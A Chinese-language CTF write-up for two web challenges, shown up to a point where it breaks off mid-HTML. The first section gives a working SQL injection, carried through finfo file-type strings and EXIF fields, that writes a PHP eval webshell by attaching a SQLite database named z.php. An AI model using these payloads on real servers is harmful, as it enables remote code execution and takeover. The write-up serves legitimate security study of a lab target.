签到选手不请自来,经过了好几天的琢磨,终于把这次比赛的题目都弄得差不多了,这里记录一下本次比赛 Web 题目的解法,如果师傅们有更好更有意思的解法,欢迎多多与菜鸡交流。非常感谢 @rebirth @wonderkun @wupco 等师傅在我学习本次比赛赛题时候不厌其烦地指导我。
Difficulty estimate: easy
Solved:133/321
Points: round(1000 · min(1, 10 / (9 + [133 solves]))) = 70 points
Description:
Finally (again), a minimalistic, open-source file hosting solution.
Download:
算是 Web 当中的一个签到题,直接给出 Docker 文件源代码,我们可以在本地搭起来试试。
<?php error_reporting(0); ini_set('display_errors', 0); ini_set('display_startup_errors', 0); session_start(); if( ! isset($_SESSION['id'])) { $_SESSION['id'] = bin2hex(random_bytes(32)); } $d = '/var/www/html/files/'.$_SESSION['id'] . '/'; @mkdir($d, 0700, TRUE); chdir($d) || die('chdir'); $db = new PDO('sqlite:' . $d . 'db.sqlite3'); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $db->exec('CREATE TABLE IF NOT EXISTS upload(id INTEGER PRIMARY KEY, info TEXT);'); if (isset($_FILES['file']) && $_FILES['file']['size'] < 10*1024 ){ $s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');"; $db->exec($s); move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file'); } $uploads = []; $sql = 'SELECT * FROM upload'; foreach ($db->query($sql) as $row) { $uploads[] = [$row['id'], $row['info']]; } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>file magician</title> </head> <form enctype="multipart/form-data" method="post"> <input type="file" name="file"> <input type="submit" value="upload"> </form> <table> <?php foreach($uploads as $upload):?> <tr> <td><a href="<?= '/files/' . $_SESSION['id'] . '/' . $upload[0] ?>"><?= $upload[0] ?></a></td> <td><?= $upload[1] ?></td> </tr> <?php endforeach?> </table>
题目功能点就是一个简单的文件上传,然后在自己的 sandbox 当中看到自己的文件类型,文件类型是由(new finfo)->file
来判断的,还使用了 sqlite 进行存储文件上传的记录。
由于创建的数据库规定了 id 为自增长的整型主键,而且它使用了lastInsertId()
返回最后一次 insert 数据的 id 作为文件名
move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file');
所以我们基本上可以不用考虑是否存在通过可控文件名上传文件 Getshell 的操作了。
纵观整个文件,其实我们可以发现,我们可控制的输入点也只有在文件类型当中,文件类型又被拼入到了 sql 语句当中
$s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";
所以比较明显,我们只能通过这个来进行 sql 注入来进行一些操作了。
我的思路就是 fuzz 一些特殊的文件,可能存在某些文件使用finfo
得出来的结果含有单引号什么的,并且我们还能够插入可控数据,于是我就开始 fuzz 文件头,从0x00
到0xff0xff
。
终于在0x1f0x9d
得到一个文件类型是compress'd data
,虽然有单引号,但是不存在我们可控的数据。
还有一个是0xfb0x01
得到一个文件类型是QDOS object ''
,看起来很对的样子,有两个单引号,并且我们貌似可以在单引号之间插入数据,我们可以随便测试一下
发现这里被吃掉了一个p
,于是我们调整一下 payload 就可以用来注入了。
sqlite 是可以用 .php 文件名来作为存储格式文件的,而且当前目录可写,于是我们就可以通过 sqlite attach 一个 z.php 的方法来写 shell 了。
ATTACH DATABASE 'z.php' AS t;create TABLE t.e (d text);/*
ATTACH DATABASE 'z.php' AS t;insert INTO t.e (d) VALUES ('<?php eval($_POST[a])?>');/*
这里可能需要注意的就是有长度限制,所以我们需要分两次来写 shell
看其他选手的公开的 wp 也是很有趣的一件事,然后从 ctftime 上公开的 wp,我们可以发现还存在着这么一些文件可以用来注入。
0xf702 文件头,在填充一定数据后有我们完全可控的数据
在 jpeg 的 EXIF 数据段中有用来标识 software 的数据也是我们可控的地方,同样用来标识 comment 的地方我们也可控。于是我们可以使用 exiftool 来修改图片。
exiftool -overwrite_original -comment="payload" -software="payload2" 1.jpg
我们还可以利用#!/
的文件来构造 payload
利用gunzip
生成的 gz 文件,我们也可以用来注入,我们可控的数据是它的文件名
当然我们也可以直接修改 gz 文件内容
Difficulty estimate: medium
Solved:13/321
Points: round(1000 · min(1, 10 / (9 + [13 solves]))) = 455 points
Description:
Finally (again), a minimalistic, open-source social writeup hosting solution.
Download:
一道比较有意思的侧信道题目,我们可以通过所给附件搭建形式知道,flag 存放在数据库当中,并且是在 admin 用户的第一条 writeup 数据的内容当中,题目提供简单的上传文本的功能,并且可以提交给 admin ,让 admin 给你点赞。
项目结构如下:
.
├── Dockerfile //Docker文件
├── admin.py //使用selenium模拟admin登录并点赞
├── db.sql //数据库文件
├── docker-stuff
│ ├── default //配置文件
│ └── www.conf //配置文件
├── www
│ ├── general.php //连接数据库设置header头等一些初始化操作
│ ├── html
│ │ ├── add.php //添加writeup相关操作
│ │ ├── admin.php //把writeup提交给admin
│ │ ├── index.php //入口文件
│ │ ├── like.php //点赞操作
│ │ ├── login_admin.php //admin登陆操作
│ │ └── show.php //获取writeup内容
│ └── views
│ ├── header.php //在页面上方展示目前id提交的writeup
│ ├── home.php //页面中部用来提供给用户输入的界面
│ └── show.php //点赞、提交给admin的展示页面
└── ynetd //用来启动 admin.py
既然 flag 在数据库当中,那我们可以首先来看看 show.php ,因为这个文件可以直接用来获取 writeup 的内容。
<?php include_once '../general.php'; $stmt = $db->prepare('SELECT id, content FROM `writeup` WHERE `id` = ?'); $stmt->bind_param('s', $_GET['id']); $stmt->execute(); $writeup = mysqli_fetch_all($stmt->get_result(), MYSQLI_ASSOC)[0]; $stmt = $db->prepare('SELECT user_id FROM `like` WHERE `writeup_id` = ?'); $stmt->bind_param('s', $_GET['id']); $stmt->execute(); $result = $stmt->get_result(); $likes = mysqli_fetch_all($result, MYSQLI_ASSOC); include('../views/header.php'); include('../views/show.php');
我们可以看到 id 并没有什么鉴权措施,也就是说,我们可以通过 writeup id 来获取 writeup 内容,而 flag writeup id 在 admin 用户数据当中,而在 header.php 中可以看到当前用户所有的 writeup id
<?php foreach($writeups as $w): ?> <li><a href="/show.php?id=<?= $w['id'] ?>">Writeup - <?= $w['id'] ?></a></li> <?php endforeach; ?>
既然有提交代码给 admin 的功能,那么是不是有可能是一个 xss 或者什么的?
我们还可以看到 admin 再收到 writeup 后的主要操作:
display = Display(visible=0, size=(800, 600)) display.start() chrome_options = Options() chrome_options.add_argument('--disable-gpu') chrome_options.add_argument('--headless') chrome_options.add_argument('--no-sandbox') driver = webdriver.Chrome('/usr/bin/chromedriver', options=chrome_options) url = 'http://admin:[email protected]/login_admin.php?id='+writeup_id driver.get(url) element = driver.find_element_by_xpath('//input[@id="like"]') element.click() driver.quit() display.stop()
我们可以看到 admin 在进行登录之后使用find_element_by_xpath
找到了 id 为 like 的 input 标签,并进行了点击,也就是提交给 admin 的 writeup 后,admin 会浏览进行点击,发送一个点赞请求
```html
<form action="/like.php" method="post">
<input name="c" type="hidden" value="<?= $_SESSION['c'] ?>">
<input name="id" type="hidden" value="<?= $writeup['id'] ?>">
<input id="like" type="submit" value="
</form>